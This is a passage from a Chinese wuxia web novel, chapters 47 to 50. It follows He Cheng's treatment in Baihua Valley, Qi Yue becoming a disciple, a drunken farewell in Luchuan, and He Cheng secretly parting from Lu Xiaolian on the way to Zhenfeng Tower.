南门迁新开的经脉通路犹如一条宽阔河流,如今只引了细细的一眼泉水进来,贺承不明白,南门迁怎么会担心这条河流会不堪重负,决堤崩溃呢? 南门迁觉得古怪,二话不说搭上贺承的手腕,细细诊了片刻,有些惊喜:“庄荣眼光实在毒辣!你这一身经脉确实清奇,若不是急着要出谷,我可以试着借用这条新开的通路为你重塑经脉!” “重塑经脉?” “罢了,这事要从长计议,办完了事,回谷再说。”南门迁说,“我现在将银针全部撤下来,你运转一个周天试试。” 待南门迁撤了前胸后背的银针,贺承盘腿而坐,试着引一脉内息运转于任督二脉。 这并不是他伤后第一次运功,他自然知道内力顺着经脉流转,行至膻中、神阙几处埋着凤尾续魂针的大穴时,必定痛苦难当。可南门迁说过,此后,他需得一刻不歇地运转内息,才能保证身上的毒不再侵袭经脉,他才有机会活下来。 既然有机会活,无论多苦多疼,他都想要试一试。 内息行至埋着凤尾续魂针的穴位处,贺承顿了一顿,暗自吐纳片刻,加了一成功力推了一把。霎时,他只觉得一阵剧痛如电流般猛冲出来,痛意瞬间流转周身。 贺承猛地睁开眼,剧痛之下,他气息不稳,胸口剧烈起伏着,喉头滚了滚,偏过头去,“哇”地喷出一口血来。 “怎么了!”南门迁扶起倒伏在床边的贺承,急声问。 贺承唇边犹有血色,紧咬着要牙关,单薄的身子在剧痛下无声地发着颤。他的手指颤抖着攀住南门迁的手臂,出声艰难:“刚刚我,我试着冲开淤塞之处,此刻,此刻内息已可以,可以流转通畅。” “只是——”他的身子痉挛般地颤了颤,脸色更苍白几分,“只是,确实,好疼。” “没事没事,我们有药。阿妩,快,快把药拿过来!”南门迁接过潘妩新制的止痛药丸,喂给贺承,“没事了,内息能流转通畅就好,止痛的药丸管够,等你办完外面的事,再回百花谷来,咱们有时间慢慢治,彻底治好了,就不会再疼了。” “多谢前辈。”药丸尚未起效,贺承疼得目光微微涣散。他几乎要疼得昏厥过去,却挣扎着追着南门迁问,“前辈,那我是不是,是不是暂时死不了了?” “不是暂时,有我在,你以后也死不了。” “真好……”贺承累极了,声音渐渐低下去,“劳烦前辈,替我,跟晓怜说一声……我死不了了……” 第47章 第四十七章拜师我们走了,你们看家…… 如贺承所愿,南门迁收拾妥当,走出房间时,并未同陆晓怜多说治伤的细节,只神态舒展、语气平和地告诉她,贺承的伤已经没有大碍,现**力难支,暂且昏睡了过去,待他醒来,便可启程出谷。 陆晓怜兴冲冲地闯进屋子里去,见到的却依然是躺在床上苍白孱弱的贺承。 齐越落在南门迁夫妇后面,还在屋子里收拾一地狼藉,比如,将贺承呕血时弄脏的那件中衣团成一团,塞进装杂物的竹筐里带走处理。陆晓怜闯进来正看见齐越手一抖,松开刚刚卷起的那件染血的中衣,衣裳扑棱棱地散开了,那团触目惊心的殷红便铺在了她眼前。 “这,这是我师兄的血?”陆晓怜瞠目欲裂,“不是说没有大碍吗?怎么还见了血?” “是没有大碍。”齐越斟酌着措辞,“他呕出经脉里的淤血,不算坏事。” 陆晓怜不以为然:“不算坏事?吐血还能是好事不成?前辈长说师兄气虚血亏,要好好养着才是,哪里禁得住三天两头地吐血!” 这该怎么解释呢?齐越不禁犯难,南门迁没有同他对过口风,他不清楚陆晓怜现在究竟知道什么、不知道什么,也不清楚南门迁和贺承究竟想让陆晓怜知道什么、不知道什么,更不清楚该怎么应对陆晓怜的质问。 照着齐越对陆晓怜的了解,事关贺承,她非得打破砂锅问到底不可! 然而,他一则所知不多,二则也不清楚自己知道,什么该说,什么不该说,只想赶紧离开这个是非之地,敷衍搪塞道:“治伤耗费体力,贺少侠累极,估计得睡好一会儿,我就先走了,姑娘不妨也去休息休息。” “师兄要睡很长时间吗?他醒来一定会饿吧!我去给师兄备些吃食。”陆晓怜将齐越堵在门边,敏而好学,“师兄刚刚吐过血,是不是该吃些补血的东西?” 这话没毛病,贺承气血衰竭,什么时候益气补血都不是坏事。齐越忙点头称是。 “那小齐大夫开个方子吧!”陆晓怜瞪着一双浑圆明亮的杏眼,询问地看着他。 开方子本不是难事,可齐越这回却愣住了。他不曾见过南门迁夫妇为贺承开的方子,怕自己胡乱说出什么相克的药材,反倒误事。他稍顿了片刻,脑子一转,想出两味药食同源的食物来,说于陆晓怜指点迷津—— “药补不如食补,给他找些桂圆、红枣,最好不过。” 于是,贺承从晌午睡到暮色四合,在烛光中迷迷糊糊睁开眼,抬眼看见自己床边的矮几上点着红烛,烛台旁,两大盘桂圆、红枣映着摇曳的烛火。有一刹那,贺承不禁怀疑自己的脑袋也受了伤得了病,竟连什么时候过的六礼,什么时候拜的堂都不记得了,睁眼便是洞房花烛。 “师兄,你醒啦?”迷茫之际,陆晓怜探出头来,声音欢快地喊他,“你觉得怎么样?饿不饿?我先扶你起来喝点水吧,金姑娘帮忙熬了桂圆红枣粥,一直在旁边温着呢。” 被陆晓怜叽叽喳喳地一闹,贺承神志清明几分。睡了一天确实口干舌燥,他由着陆晓怜扶着坐起,靠坐在床头,就着她的手抿了一口茶杯里的水。温热的水浸润过干涸的唇齿,一股甜香散开来,充盈在口腔中,贺承眉尖微挑,神色古怪地看向陆晓怜。 “怎么了?师兄不喜欢这茶水?” 贺承目光清澈,其中尽是困惑:“百花谷里桂圆红枣泛滥成灾了?怎么连水都是桂圆红枣煎的?” “南门前辈不是总说你气血匮乏嘛,我就问小齐大夫要益气补血的方子,他说药补不如食补,说多给吃些桂圆红枣最好了。”说话间,陆晓怜已经从一旁火盆上隔水温着的小瓷盅里舀出小半碗桂圆红枣粥,端到贺承床头来。 一看那碗粥,便知道粥底熬了不短时间,绵密浓稠,米粒吸饱了桂圆红枣的香甜,粒粒煮开了花,长成一幅入口即化的模样。 贺承不喜甜粥,勉强抿了一口,小声嘟囔:“这样甜腻的东西,你们小姑娘才喜欢。” 陆晓怜不满:“怎么?我们小姑娘喜欢的东西,你看不上是吧?” “我哪里敢!”贺承笑闹着摆手,从善如流地含住陆晓怜递到嘴边的那勺甜粥缓缓咽下,“你说什么东西好,那它便是最好的,既然是最好的东西,怎么会有人不喜欢呢?” 陆晓怜得了便宜还卖乖,一双柳叶眉得意一扬:“可不就是嘛,桂圆红枣这么好的东西,怎么会有人不喜欢呢?” 说不上是南门迁妙手神医,还是陆晓怜时不时就剥几颗桂圆往贺承嘴里塞起了效果,贺承的身体确实恢复得很快,在床上躺了一日便能下地走动,两日后,凭着潘妩新制的止痛药丸压制住凤尾续魂针深入经脉要穴的锐痛,贺承看上去已经与常人无异。 但为防万一,南门迁还是将启程出谷的时间定在三日之后。 出谷前,南门迁招呼齐越到他和潘妩平日里泡茶闲聊的小竹屋,问齐越:“齐 家小子,你可愿意拜我为师?” 齐越欢喜得有些呆了,磕磕绊绊好一会,才说完一句话:“自然,自然求之不得!” “我一听你的名字,便知道你是齐直的儿子。若不是放心不下年纪尚小的你,和你身体不好的母亲,齐直当年便跟随我们进百花谷了。”说到这里,南门迁幽幽叹了口气,“你日后可以自由进出百花谷,有时间不妨带他进来看看。” 齐越目光一黯:“我父亲已经不在了。” “怎么会?他才多大年纪?” “是意外。”齐越稳住心神,语气平静,“母亲病逝后,父亲便带我到百花谷附近定居下来,他三天两头往谷里跑,一心要绘制百花谷地图。您也知道,谷中机关密布,危机重重,我十六岁那年,父亲重伤归来,将绘制大半的图纸交给我,只说了声‘可惜’,便再没醒过来。” 当年司渊在百花谷外设置重重机关,防的是沈南风,没想到多年之后,竟将苦寻南门迁夫妇多年的忘年小友齐直耗死其中。南门迁满心唏嘘,与潘妩相对着沉默许久,说不出话来。 气氛凝重,齐越想劝慰,可开口也不知该说些什么,喊了声“前辈”,却又顿住。 南门迁看过来,沉声说:“别喊什么前辈了,磕个头,今日就改口吧。” 闻言,齐越一刻不敢耽误,撩起衣摆,双膝叩地跪下来,结结实实地磕了三个头,响亮地喊了声:“师父!” “好!好!”南门迁满意地点头,从怀中摸出一枚黄铜钥匙,“这座竹屋走到底是一间石室,里面是师父师娘多年来珍藏的医书药书和我们的手札。师父师娘马上要启程出谷,你进石室里挑一架书看,我回来了要考你的。” 一整间石室的书和南门迁夫妇亲手摘录的札记,即便南门迁不考,齐越也是打定了主意要天天泡在石室里研习的。他接过南门迁递过来的钥匙,已经兴奋得两眼发亮:“谢师父!” 启程出谷那日,齐越和赵戎津一路将众人送到百花谷外。 南门迁和潘妩二十多年来第一次走出百花谷,心情有些复杂,既兴奋,又不舍。尤其是潘妩,牵挂着山谷里那些大大小小的花园药圃,一路上拉着齐越仔细交代:“每种草药的习性我都在册子里备注了,北面小山坡的那片草药是喜阴喜潮的,别忘了浇水,还有那几株破骨风,要是起了风,别忘了给它们挡一挡……” 一路念叨到了分别的路口,南门迁才拉了拉潘妩,无奈道:“别唠叨了,阿越稳重,心里有数的。”说罢,转向齐越和赵戎津,正色道:“我们走了,家里便交给你们了。” 最初,他们隐居百花谷,在周围设下重重机关,实属无奈。 可在青山为凭,白云为伴,如此悠然自得地过了二十多年,他们早与百花谷丘陵沟壑、花木鸟兽、清风明月生出剪不断的感情来,到了要离开的时候,竟有千丝万缕的挂念牵连在心头。 峰回路转,夏日疯长的繁茂枝叶很快遮挡住相送之人的身影。那仿佛是南门迁夫妇与庇护他们二十多年的那座山谷最后的牵连。 南门迁收回远眺的目光,收拾起莫名其妙的不舍,问:“我们现在便往湘城去吗?” 贺承同他提起过,陆岳修此刻在枕风楼静养,而枕风楼便在湘城。 可贺承百密一疏,忘了同南门迁讲,他并不打算把陆晓怜也带到枕风楼去。 因此,他给陆晓怜和钟晓报的,是另一个目的地。 果然,听了南门迁的话,陆晓怜满脸诧异:“去湘城做什么?不是说好要去西江,到逐月阁看看孟元纬醒了没有,我也正好陪陪芷薇姐姐。” 南门迁自知失言,闭紧了嘴不吱声,只拿眼睛看贺承。 贺承镇定自若,毫不含糊地翻脸不认账,并随手把锅甩给南门迁:“我们是打算去西江,前辈去湘城有什么事要办吗?” 第48章 第四十八章启程这一天,陆晓怜是真…… 去湘城有事要办的人当然不只有南门迁,但他脑子活络,为人又仗义,活了大半辈子,深谙人心,贺承稍稍使个眼色,他便知道该说什么该做什么。当着陆晓怜的面,南门迁没再多嘴,不动声色地替贺承背下了这口锅。 一行人深一脚浅一脚地走出百花谷,租下车马,朝西江城而去。 作为“重伤初愈”的病号,贺承自然和南门迁夫妇一起被安置在马车上。陆晓怜骑着一匹毛色油亮的黑马,昂首挺胸地走在前头带路。而钟晓选中的那匹可怜的枣红色马驹驮着金波,远远落在队伍的最后。 原本,不会骑马的金波是应该同贺承他们一起,安安分分坐在马车里的。 可她偏不,她想学骑马。 从南疆到中原,金波是靠着两条腿一路走过来的,实在累得够呛。之前她住在那间小客栈里,看着道上每日奔腾而过的骏马,暗暗下了决心,等她玩够了收了心,回南疆时,一定要骑着马回去! 而钟晓,就是她选定的那个教她骑马的倒霉师父。 金波说一不二,说要学骑马,就决计不肯上马车,气势汹汹地爬上马背。 可她气势大,胆子小,七手八脚上了马背,马匹只在原地跺了跺脚,她便惊叫着俯身搂着马脖子,再不敢坐直身子。 幸好缰绳在钟晓手里牢牢握着,也幸好她选定的钟师父有耐心,反复劝导了几轮,手舞足蹈地给她做示范。 可马背上的人依旧紧紧抱着马脖子,不为所动。 马车上的人都等急了,贺承探头往后看,向钟晓提议:“不如你与金姑娘同骑一乘,让她适应适应骑马的感觉再往下学。” 钟晓轻轻“啊”了一声,心里纠结几分,朝马上的金波一拱手:“得罪了。”话音一落,他便翻身上马,坐在金波身后,一手握着缰绳,一手提着金波的衣领,继续严肃认真地指导她:“别怕,坐直了,腿夹紧马肚子。” 原本静止不动的马匹在钟晓的驱使下开始小步往前追赶前面的车马不说,衣领被钟晓一提,金波不得不松开马脖子,空空的两只手胡乱挥舞着,一路惊叫连连:“啊!啊——啊——” 钟晓不得不腾出一只手来,捂住她的嘴:“嘘,马受惊就麻烦了。” 金波嘴里呜呜咽咽地嚎着什么,摇摇头,又点点头。 “我松手了,不许再叫唤。” 金波忙不迭地点头,钟晓松开手,失去他的扶持,只见金波的身子在马背上左摇右晃,险些一头栽下去。她倒是守信,说不叫唤,便再没吭声,即便被吓得脸色死白,也咬紧了牙关,把惊叫咽了回去。 钟晓忙揽住金波的身子,有些不忍:“要不你还是坐马车吧。” 金波脸色发白,发丝散乱,目光却异常执拗黑亮。她果断摇头,从牙缝里颤巍巍挤出话来,态度依旧坚定:“不,我要学骑马!” “行吧。”钟晓垂眼,盯着她摇晃得散乱的头发,认命地叹了口气。他腾出手来扶住她几乎要滑落下去的发簪,推进她乌云般的发髻中,固定住她摇摇欲坠的发髻,又立刻匆匆忙忙地将手环回她的腰间,稳稳托住她的身子,沉声道:“我就在你身后护着,没事的。” 贺承从左边窗子探头,南门迁和潘妩从右边窗子探头,兴致勃勃地观赏了一会金波学骑马,眼见着两人共骑一乘,再没什么闹剧可看,悻悻缩进马车里。 一行人就这样慢悠悠地启程朝西江去,离百花谷越来越远。 四大门派之一的逐月阁便在西江。半年前发生在青山城无涯洞外的那场意外,逐月阁也没能幸免,只是比其他三大门派幸运些,逐月阁阁主的小儿子孟元纬被人发现时有一息尚存。孟岗将人接回逐月阁,广招名医救治,大半年时间过去,孟元纬虽然尚未清醒,但好歹还吊着一条命。 这半年里,无论何时何地,提起小儿子,一向刚毅果决 的孟岗总是会红了眼眶。 当初陆岳修以为爱女陆晓怜比武招亲为名广发英雄帖,孟元纬是不愿意去的。一则,他与凤鸣山的叶芷蔚青梅竹马,心意早有所属,二则,他与贺承相识多年,也不该夺人所好。 是孟岗觉得,青山城是四大门派之首,既然发了邀约,他们不理睬或派些无名之辈过去,都显得无礼。思前想后,权衡再三,他才劝说尚未婚配的小儿子孟元纬带队,同几个师兄弟一起去。那时,孟元纬还同他赌了好几天气,还听说启程前,孟元纬特意跑了一趟凤鸣山,同叶芷蔚提前把事情说得清清楚楚。 只是孟岗万万没想到,这样周全仁义的好孩子送去青山城,回来后却再没睁过眼。 为了照顾着马车上的老弱伤病,陆晓怜压着车马行进的速度,走了七日,才到庐川。出了庐川城,南门迁和潘妩要去的阳城向南,贺承和陆晓怜他们要去的西江向西,自此便要分道扬镳。 一路上,潘妩都在指导陆晓怜煎药。 虽说贺承身上最棘手的两种毒性借他内力之便,暂时不会再侵蚀经脉脏腑,可之前的伤还是得积年累月地调理,汤药是不能断的。 可陆晓怜十指不沾阳春水,之前熬药,也只是寥寥草草地将药材往药壶里一倒,添水点火了事,平白糟蹋了许多好药材不说,煎出来的汤药,药效也削减了大半。 分别在即,潘妩将南门迁开给贺承的几副方子的煎熬之法掰开揉碎,细细讲给陆晓怜听,只望与贺承分开的这些时日,他的伤病不要再有反复。 事关贺承,陆晓怜一向上心。可自从进了庐川,她莫名显出一些心不在焉来。 心神不宁的陆晓怜又一次被药壶盖子烫到手指,潘妩终于忍不住问她:“晓怜,到了庐川,你好像有心事?” “前辈,我有个不情之请。”陆晓怜迟疑片刻,接着往下说,“逐月阁的孟元纬我们也算是一起长大的交情,他半年前重伤,至今未醒。我不敢耽误前辈的事,只是前辈难得出谷一趟,若办完了事,能否拨冗看看孟元纬的伤?” 贺承当时说的,就是请他们出谷救两个人。“孟元纬”这个名字潘妩隐约是听贺承之前提过的,只是她和南门迁不认得这个后生,注意力都被陆岳修吸引过去。 既是贺承所求,她与南门迁便不会不尽力。 只是人有亲疏远近,事有轻重缓急,他们与贺承说好要先去一趟枕风楼,那逐月阁的这位,便得排到后面去。 潘妩斟酌着措辞,回应得滴水不漏:“医者仁心,我们自然愿意相救。只是何时才能到西江,得看我们那位病重的朋友情况究竟怎么样。” 她想了想,摸出两颗药丸塞给陆晓怜:“这样吧,这是能保命的药丸,你带着它,在西江等我们。我们看望了朋友,便去找你。” “多谢前辈!”陆晓怜欣喜道。 这一日她捧着两颗药丸,只顾着为孟元纬高兴,全然没有察觉,潘妩说的话里,用的都是“我们”“你”这样的词—— 潘妩此时便知道,去西江的,只有陆晓怜自己,而没有贺承。 出了庐川,南门迁夫妇往阳城,其他人往西江,同行百里,要在此处暂时作别。 临别前夜,陆晓怜在庐川城里最好的酒楼设宴,一则为了送别,二则为感谢。庐川城以土窖老酒出名,宴席上自然少不了远近闻名的庐川陈酿。 从青山城到南州城;从南州城到百花谷;从莫名其妙遇见一个“沈烛”,到揭下面具与贺承重逢;从眼见着贺承命悬一线,到如今这人来去自如,这一路,陆晓怜的一颗心浮浮沉沉,到此刻,才稍微安定些许。 虽然青山城的危机未解,虽然陆岳修依旧下落不明,可是将贺承找回来,于陆晓怜,于青山城而言,都是一件大事情。 这一天,陆晓怜是真的高兴极了。 桌上只有六个人,又是朋友间吃饭闲聊的饭局,本不该斗酒,可陆晓怜却喝了许多。她举着酒杯逢人便敬,不仅以自己的名义敬,还要替被勒令不许饮酒的贺承敬了南门迁和潘妩几轮,替远在西江城人事不省的孟元纬敬,替她那守着孟元纬的小姐妹叶芷蔚敬,喝得热闹敞亮。 钟晓有些担心,拿胳膊肘捅捅贺承:“师兄,你不劝劝师姐?” 这一晚,贺承似乎是有心事,话并不多,只是一直将目光放在陆晓怜身上,任她笑闹,任她喝酒,也不出声阻拦。 钟晓有些担心:“她这样喝,会醉的。” “难得她高兴,醉便醉吧。” 陆晓怜正拉着金波喝酒。 两个十八九岁的姑娘挽起衣袖,举着瓷碗喝酒,她们肌肤胜雪,脸颊被酒气蒸出春花般娇嫩的淡粉色,微醺之下,目光迷离,大口喝酒的豪气里,还显出一种略有些痴钝的娇憨,比平日里迫不得已强装出来的聪明伶俐更招人喜欢。 钟晓又说:“醉得狠了,明日还怎么赶路?” 贺承依旧看着陆晓怜,回应钟晓的话显得有些敷衍:“那明日便不赶路,让她好好休息。” 说到这里,他忽然舍得转回目光来,盯着钟晓,认真交代:“对了,记得给她熬点清粥,宿醉之后,胃口必定不会太好。” 钟晓下意识觉得贺承这句交代有些古怪,还不等他琢磨出来哪里不对,贺承又继续说:“金波性子活泼,有她同行,晓怜应该不至于太无聊。倒是叶芷蔚,虽然以前和晓怜关系挺好,可无涯洞那件事后,不知道她对我们究竟是什么想法,到了西江,你暗里要多留个心眼。” 话到这里,钟晓终于反应过来:“师兄,你不跟我们去西江?” 贺承看着他,不动声色地点了下头,还没开口说话,忽然被一双柔软温热的手臂从后背环住脖颈。 喝得昏昏沉沉的陆晓怜缠上来,将沉甸甸的脑袋抵在贺承肩上,带着鼻音喃喃喊着:“师兄……” 第49章 第四十九章醉这个头,不想要了。…… 夜色已深,庐川城已经入睡,静谧犹如一口大钟笼罩下来。是夜月华如练,城里无人的街巷,乌沉沉的砖瓦,斜斜撑开半扇窗子的窗台,都披上一层柔和的银白色。 客栈二层木质的楼板吱呀作响,有人刻意放轻了脚步,走得小心翼翼,好不容易才走到最里间的上房门外。钟晓轻轻扣门,轻轻说话:“师兄,金波熬了醒酒汤,让师姐喝点吧。” 陆晓怜早就醉得不成样子,是贺承捉着她的手臂,半哄半骗地带回来的。在街上一会要星星,一会要月亮的人,回了客栈倒是突然乖巧,让她去睡觉,便一声不吭地上楼躺下,只是死死抱着贺承的手臂不肯松开,非得把人拘在自己房间里。 贺承一惯纵容陆晓怜,向忧心忡忡捧着药碗的南门迁摇摇头,不管不顾地陪着她。 陪着陪着,夜就更深了。 夜再深,醒酒汤也不能不喝,贺承出声让钟晓进来,示意他把醒酒汤放到自己手边来。 钟晓想起在酒楼里没说完的话,看了一眼醉在床上的陆晓怜,小声说:“师兄,你真的不跟我们去西江?” 贺承手上忙着拿勺子翻搅碗里的醒酒汤,等着凉到合适的温度,好给陆晓怜灌下去。刚刚熬好的醒酒汤滚烫,氤氲水汽蒸腾着缭绕在他英挺的眉眼之间,他的神色如隔云端,叫人看不分明。 “为什么啊?” “有点事得去办。” 钟晓又问:“什么事?就不能带着我们一起吗?” “不能。” 他拒绝得太快太果决,以至于钟晓有一种被嫌恶抛弃的委屈,锲而不舍地又问:“这又是为什么啊?你的伤才刚好,还吃 着药呢,让你一个人走,谁能安心……” 钟晓像个老婆婆一般在一旁念念叨叨,贺承的思绪却被他的第一个问题带着走了神。 是啊,为什么不能带着他们一起去枕风楼? 他究竟在怕什么?怕他们亲眼看见落得如此境地的陆岳修吗?怕他们难过害怕,还是更怕他们责备怨恨?怕他们受不了陆岳修重伤垂危,还是更怕无涯洞外的真相再也瞒不下去? 翻搅着醒酒汤的手陡然一抖,滚烫的液体溅落在手背上,把人疼得回过神来。贺承打断还在絮絮叨叨的钟晓:“南门前辈和潘前辈会跟我一起走,不必担心。” “那孟元纬——” “我们办完事便去西江找你们汇合,南门前辈答应了要为他诊治的。”贺承看看钟晓,又看看陆晓怜,总觉得不放心,“只是,晓怜性子急,我走后,你要拦一栏她,别又被她带着四处瞎跑要找我。” 钟晓瘪瘪嘴,小声说:“也不全是师姐带的,我也担心你啊。” 贺承失笑:“意思是我还得夸你?” “那倒也不必了。” 贺承还是笑,笑过之后,语气却严肃了一些:“我在酒楼交代你的话,别忘了。” “记得记得。”钟晓站得板正,便要开始复述,“到了西江,要当心……” “嘘!”贺承拧着眉头打断自己的傻师弟,朝醉倒在床上的陆晓怜看了一眼,“你自己记在心里就好,不必嚷得天下皆知。” 钟晓缩缩脖子,食指和拇指捏在一起,横过唇,做出一个封上嘴唇的动作:“师兄放心。” 几句话的功夫,贺承摸着手里的醒酒汤温度正好了,朝钟晓摆摆手:“去睡吧,我再陪她一会儿。” 贺承这样说,钟晓当然不好再多话,点头如捣蒜,飞快地转身出去。 房间里有人的时候还好些,如今只剩贺承和陆晓怜了,满室静悄悄的,被钟晓的问题勾出来的惶惶,在贺承心里悄无声息地疯狂滋长。 在南州城,他是以“沈烛”的身份遇见陆晓怜的,躲在那方胶皮面具下,他也一度忘记他是贺承,是从无涯洞的血泊中走出的贺承,是亲手重伤恩师的贺承! 后来,他伤病缠身,命悬一线,也没有力气深想这些。 再再后来,百花谷如世外桃源,隔绝江湖纷扰,他逼着自己不去想这些。 可有些事,终究是避无可避。 他到底是把南门迁和潘妩请出了百花谷,如果他们能救活陆岳修和孟元纬,会怎么样?如果救不活,又会怎么样? 他明明早就已经想好了,就是要让陆晓怜恨他,这样才能斩断他所有的退路。 可是陆晓怜偏不,千千万万个人骂他,她却偏要站着千千万万个人的对面,为他讨一个虚无缥缈的公道。 于是,他就被她牵绊住了。 他从南州城见到她开始,就被她牵绊住了,所以才会从南州到百花谷,纠缠一路。 越是纠缠,贺承就越是舍不得。 之前还好,反正他也没有多少日子好活,再舍不得,两眼一闭,后面的路也只能由陆晓怜自己走。借着这个理由,他能说服自己心肠再硬也无妨。 可偏偏现在,他又能活下去了。 劫后余生的庆幸后,他立刻卷入另一场为难里,他舍不得告诉她真相,也舍不得让她失望,所以一颗心悬在半空中飘忽不定,进退维谷。 贺承幽幽叹气,抬手抚过陆晓怜的脸,拨开她散在额前的黑发。 十八九岁的少女,像一只柔软的猫咪一样乖巧而安静地蜷在那里,雪白的脸颊上被酒气晕出淡粉色,像一丛桃花映在眉眼之间,生动极了,也漂亮极了。 “晓怜——”他轻声唤她,“醒醒,喝了醒酒汤再接着睡。” 庐川城的酒又醇又烈,陆晓怜酒量一般,小睡片刻,还醒不了酒。她拧着眉头醒来,瞪着一双水汽缭绕的眼,歪着脑袋愣愣地盯着贺承看。 贺承抬手在她眼前晃晃:“陆晓怜?” 溜出青山城独自闯荡,在试琴会上质疑卓弘明,不计生死硬闯百花谷,那个好像已经长大到可以面对疾风骤雨的陆晓怜盯着贺承看了半晌,忽然扁了下嘴,拽着贺承的衣袖,泫然欲泣:“好难受,师兄,我是不是生病了?” 喝那么多酒,哪里有不难受的? 贺承又好气又好笑,伸手把人搂进怀里,温声哄着:“没生病,听话,喝了这碗汤,睡一觉就好了。” 陆晓怜被灌了半碗醒酒汤,推开贺承的手,摇头晃脑地往贺承怀里钻。折腾半天,终于找到一个她觉得舒服的姿势,靠在贺承胸口,敲着自己的脑袋,哼哼唧唧:“头好晕啊,这个头,不想要了。” “好好好,不想要,就扔了。”贺承哄得敷衍,把装着醒酒汤的晚又抵到陆晓怜唇边,“听话,再喝两口。” 也不知道该怪潘妩开的方子,还是该怪金波熬汤的手艺,反正陆晓怜不喜欢这碗醒酒汤。她的头蹭在贺承怀里左右乱撞,边躲他手里的那碗醒酒汤,边叽叽喳喳地继续“扔”东西:“好难喝,好难闻,嘴和鼻子也不想要了。” 贺承沉声发笑,放下碗,无奈道:“明天头疼死,也活该。” 醉得七荤八素的陆晓怜竟然还顾得上瞪着贺承,反驳他:“我不会头疼的!” “你明天就知道了。” “不会的。”陆晓怜坚持,一脸严肃,“我的头已经被你扔了,不会疼。” 贺承哭笑不得,觉得自己把好不容易睡着的醉鬼喊起来喝半碗醒酒汤,简直是得不偿失。他把软成一滩泥的陆晓怜安置回床上,坐在床沿,仔细给人盖好被子:“睡吧。” 陆晓怜像一尾灵活的游鱼,裹着被子滋溜翻个身,头枕到贺承腿上来,手虚虚抓着他的一角衣袖,喃喃念道:“我抓住你了!师兄,你走不了了。” 第二天,陆晓怜果然睡到日上三竿,睡醒之后,也果然头疼。 钟晓和金波敲门的时候,她刚刚打开贺承留在床头,用昨夜那半碗醒酒汤压着的纸条。纸上的字是贺承的字,龙飞凤舞,行云流水,那么,纸上的话,也应该是贺承想要同她说的话。 贺承让她跟钟晓、金波继续朝西江去,他和南门迁夫妇办完事,很快去找他们汇合。 宿醉后的脑袋昏昏沉沉,陆晓怜不知道他们究竟要去办什么事,只猜想着,贺承是带着南门迁和潘妩一起走的,无论是什么事,总是免不了要与受伤、生病牵连上关系。 可是究竟是什么人什么事,令贺承不得不将自小一起长大的孟元纬安危搁置一旁,令贺承不惜再次丢下好不容易重逢的陆晓怜? 究竟是什么人什么事,连她也不能跟随,不能知道吗? 想到这里,陆晓怜心头一跳。她好像捉住一条线,顺藤摸瓜,隐隐有个答案呼之欲出,可她来不及深想,房门正被轻轻叩响,思绪便断了。 在外面敲门的是钟晓。得了陆晓怜的准许,他小心翼翼地端着一碗薄粥进来。 屋里的陆晓怜还在试图继续深究刚刚一闪而过的某个猜测。宿醉之后,她头脑昏沉,想事情时不自知地拧紧了眉头。 钟晓进屋时看到的便是捏着一页纸,眉头紧锁、沉着张脸的陆晓怜。 他心领神会,师姐一觉醒来发现师兄趁着她喝醉了,留书出走,心里必然觉得不痛快!于是,他端着粥碗,自作聪明地替他贺承师兄邀功:“师兄说你宿醉醒来胃口一定不好,走之前特意交代我们熬一碗清粥,温着等你醒过来。你看,粥里还埋了两颗你喜欢的蜜渍乌梅。” 谁料得到,这一句竟是弄巧成拙,还不如不提。 陆晓怜的脸色更加阴沉,盯着钟晓手里的粥碗看了看,冷冷地笑:“他倒是知道交代你安排这安排那,却一点消息不舍得让我知道。” 第50章 第五十章枕风楼到达枕风楼已是第五…… 陆晓怜这次是真的动了气,当着钟晓的面把贺承留下的纸条撕成碎片,贺承特意交代的那碗粥,她更是碰也不碰。 最辛苦的人,还是钟晓。 从南州去百花谷的路上,他跟在他师姐身边战战兢兢,防止闲杂人等居心叵测;而从庐川去西江的路上,他跟在他师姐身边也是战战兢兢,生怕一句话不对,害他青梅竹马天造地设的师兄师姐心生嫌隙。 马车被贺承他们驾走了,他们只剩两匹马。 依旧是陆晓怜自己骑一匹,钟晓和金波骑一匹。 金波现在已经安安稳稳地坐在马背上了,虽然还不敢扬鞭驰骋,可骑着马小跑几步已经不成问题。 三个人两匹马,总是不方便的,离开庐川城时,陆晓怜原本打算或租或买,再添一匹马。可钟晓和金波一合计,觉得以金波如今的骑术,要她独自骑一匹马赶路,还是勉强了,决定先不浪费这个钱,等到了下个城镇再说。 他们的这个决定,导致贺承离开后兴致本就不高的陆晓怜情绪更低落了。 她当初学骑马,也是贺承这样在马背上拥着她,一点一点带出来的。如今自己一个人孤零零坐在马背上,看着一旁的钟晓和金波,越看越不是滋味。 三人同行,一个沉着脸不愿说话,一个拧着眉不敢说话,活跃气氛的担子便落在无知无畏的金波肩膀上。 她如今在马背上坐得稳了,没那么害怕了,钟晓又与她同在马背上护着,缰绳还拉在他手里,她就更不怕了。他们不急着赶路,马跑得并不急,望不见尽头的长路上,只有哒哒的马蹄,连风都是沉默的。 金波受不住沉闷,扭头找闷声不吭的两个人说话:“你们两就别不开心了,贺大哥不是说了嘛,办完了事就来西江跟我们汇合。” 钟晓瞥了陆晓怜一眼,顺着金波的话:“是,是啊。” 陆晓怜怒气未消:“他爱来不来。我反正是去看芷蔚姐姐的,看完我便要走了,你们愿意等他便等他,我反正是不等的。” 这显然是气话,从青山城出来找人,上百里的路都不辞辛苦地走过了,怎么会不等? 金波并不说破,只咧着嘴笑。 陆晓怜朝她看了一眼,大约是能猜到金波的想法,嘴唇动了动,想争辩什么,又觉得没有意思,把头扭回去,抿紧了嘴唇,一声不吭。 这一边慢悠悠勒马缓步去西江,另一边,贺承的马车却走得很急。 官道虽然宽敞平坦,但大多取道平地缓坡绕行,路途远了将近一倍。为了求快,贺承给车夫加了钱,请他抖擞精神横取近道赶路。山路崎岖难行,马车又走得急,难免颠簸,一天下来,几乎能把人的骨头颠散了。 贺承身上的伤只是暂且压着,并不是就彻底好了,经脉里还埋着不知道多少根凤尾续魂针,内息运行震荡一轮,行车颠簸震荡一轮,不出两日便将他耗得没有力气,只裹着一张薄毯,垂眸倚在车厢,默不作声地咬牙忍着疼。 南门迁跟了一路,也担惊受怕了一路,忍不住又嘟嘟囔囔起来:“你经脉里还埋着凤尾续魂针呢,颠出个好歹来,岂不是要坏我的名声?” 此时已行至第三日,贺承惨白着一张脸缩在车厢角落里。 南门迁这话他听得多了,索性当做过耳的风,闭着眼睛不理睬。 潘妩叹口气拿帕子擦过贺承额上新出的一层冷汗,也劝他:“陆掌门既已受伤半年有余,想必伤势稳定,片刻之间不至于没有性命之虞,你何必这样急着赶路?” 